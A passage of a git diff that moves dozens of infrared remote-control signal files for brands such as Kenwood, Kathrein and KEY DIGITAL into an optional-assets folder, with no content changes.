assets/resources/infrared/_CSV-IRDB_/KENMORE/Unknown_253-79081/8,245.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/KENMORE/Unknown_253-79081/8,245.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Component Switcher/130,19.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Component Switcher/130,19.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Component Switcher/130,19.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Component Switcher/130,19.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/130,19.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/130,19.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/130,19.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/130,19.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/132,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/132,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/132,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/132,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/27,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/27,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/27,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/27,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Switcher/130,19.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Switcher/130,19.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Switcher/130,19.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Switcher/130,19.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/130,19.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/130,19.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/130,19.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/130,19.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/132,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/132,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/132,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/132,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/27,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/27,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/27,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/27,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kaleidescape/DVD Player/69,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kaleidescape/DVD Player/69,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kaleidescape/DVD Player/69,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kaleidescape/DVD Player/69,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kaleidescape/Distributed/69,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kaleidescape/Distributed/69,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kaleidescape/Distributed/69,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kaleidescape/Distributed/69,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kaon/Unknown_KSC-i260MCO/32,8.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kaon/Unknown_KSC-i260MCO/32,8.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kaon/Unknown_KSC-i260MCO/32,8.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kaon/Unknown_KSC-i260MCO/32,8.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kaon/Unknown_KTF-100CO/32,8.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kaon/Unknown_KTF-100CO/32,8.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kaon/Unknown_KTF-100CO/32,8.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kaon/Unknown_KTF-100CO/32,8.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kaon/Unknown_KTF-I2001CO/32,8.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kaon/Unknown_KTF-I2001CO/32,8.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kaon/Unknown_KTF-I2001CO/32,8.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kaon/Unknown_KTF-I2001CO/32,8.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kathrein/DVBS-Receiver/34,144.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kathrein/DVBS-Receiver/34,144.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kathrein/DVBS-Receiver/34,144.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kathrein/DVBS-Receiver/34,144.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kathrein/Satellite/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kathrein/Satellite/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kathrein/Satellite/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kathrein/Satellite/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kathrein/Satellite/34,144.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kathrein/Satellite/34,144.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kathrein/Satellite/34,144.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kathrein/Satellite/34,144.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kathrein/Unknown_KathreinUFD400/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kathrein/Unknown_KathreinUFD400/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kathrein/Unknown_KathreinUFD400/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kathrein/Unknown_KathreinUFD400/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kensington/MP3 Player/51,170.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kensington/MP3 Player/51,170.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kensington/MP3 Player/51,170.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kensington/MP3 Player/51,170.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kensington/iPod Dock/51,170.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kensington/iPod Dock/51,170.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kensington/iPod Dock/51,170.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kensington/iPod Dock/51,170.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,2.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,2.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,2.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,2.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,4.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,4.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,4.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,4.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Changer/182,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/182,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Changer/182,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/182,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Changer/182,72.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/182,72.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Changer/182,72.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/182,72.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Changer/184,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/184,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Changer/184,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/184,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Player/182,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/CD Player/182,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Player/182,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/CD Player/182,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Player/182,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/CD Player/182,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Player/182,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/CD Player/182,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Player/184,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/CD Player/184,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Player/184,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/CD Player/184,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Cassette Tape/184,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Cassette Tape/184,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Cassette Tape/184,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Cassette Tape/184,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Changer/182,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/DVD Changer/182,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Changer/182,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/DVD Changer/182,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Changer/182,12.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/DVD Changer/182,12.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Changer/182,12.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/DVD Changer/182,12.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Player/182,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Player/182,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Player/182,12.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,12.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Player/182,12.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,12.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Player/182,88.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,88.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Player/182,88.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,88.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Player/184,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/184,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Player/184,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/184,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Laser Disc/182,75.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Laser Disc/182,75.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Laser Disc/182,75.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Laser Disc/182,75.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/182,75.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/182,75.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/182,75.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/182,75.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/182,75.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/182,75.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/182,75.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/182,75.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,2.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,2.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,2.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,2.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,3.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,3.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,3.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,3.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,4.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,4.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,4.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,4.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,5.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,5.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,5.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,5.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,6.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,6.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,6.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,6.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/25,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/25,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/25,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/25,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/40,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/40,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/40,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/40,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Satellite Radio/2,255.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Satellite Radio/2,255.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Satellite Radio/2,255.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Satellite Radio/2,255.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Sirius/2,255.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Sirius/2,255.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Sirius/2,255.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Sirius/2,255.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Tuner/182,75.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Tuner/182,75.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Tuner/182,75.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Tuner/182,75.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Tuner/184,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Tuner/184,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Tuner/184,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Tuner/184,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Tuner/184,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Tuner/184,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Tuner/184,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Tuner/184,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-160/184,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-160/184,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-160/184,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-160/184,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-A0400/184,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-A0400/184,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-A0400/184,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-A0400/184,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-D0705.conf/182,12.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-D0705.conf/182,12.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-D0705.conf/182,12.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-D0705.conf/182,12.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-M0301/182,4.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-M0301/182,4.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-M0301/182,4.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-M0301/182,4.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-M0701/182,4.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-M0701/182,4.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-M0701/182,4.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-M0701/182,4.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P030/182,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P030/182,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P030/182,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P030/182,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0400/182,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0400/182,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0400/182,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0400/182,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P070/182,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P070/182,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P070/182,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P070/182,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0702/182,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0702/182,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0702/182,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0702/182,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0715/182,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0715/182,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0715/182,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0715/182,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P2030/182,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P2030/182,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P2030/182,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P2030/182,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P600/182,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P600/182,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P600/182,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P600/182,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-R0311E/44,44.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-R0311E/44,44.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-R0311E/44,44.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-R0311E/44,44.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-RO503/184,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-RO503/184,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-RO503/184,-1.ir rename to 